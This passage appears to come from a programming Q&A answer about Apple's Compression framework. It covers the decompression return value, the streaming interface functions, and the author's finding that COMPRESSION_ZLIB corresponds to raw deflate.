On return, size is the number of bytes that were written to the
destination buffer (or zero if the decompression failed).
(There is also a "streaming" interface
compression_stream_init()
compression_stream_process()
compression_stream_destroy()
which can be used to process the data in chunks.)
However, I tried to decompress your data with all available
COMPRESSION_XXX methods without success.
From my experiments it seems that COMPRESSION_ZLIB corresponds
to the "raw deflate" method, i.e. what you get with the zlib
deflateInit2() function if the windowBits parameter is set
to a negative value.

Resources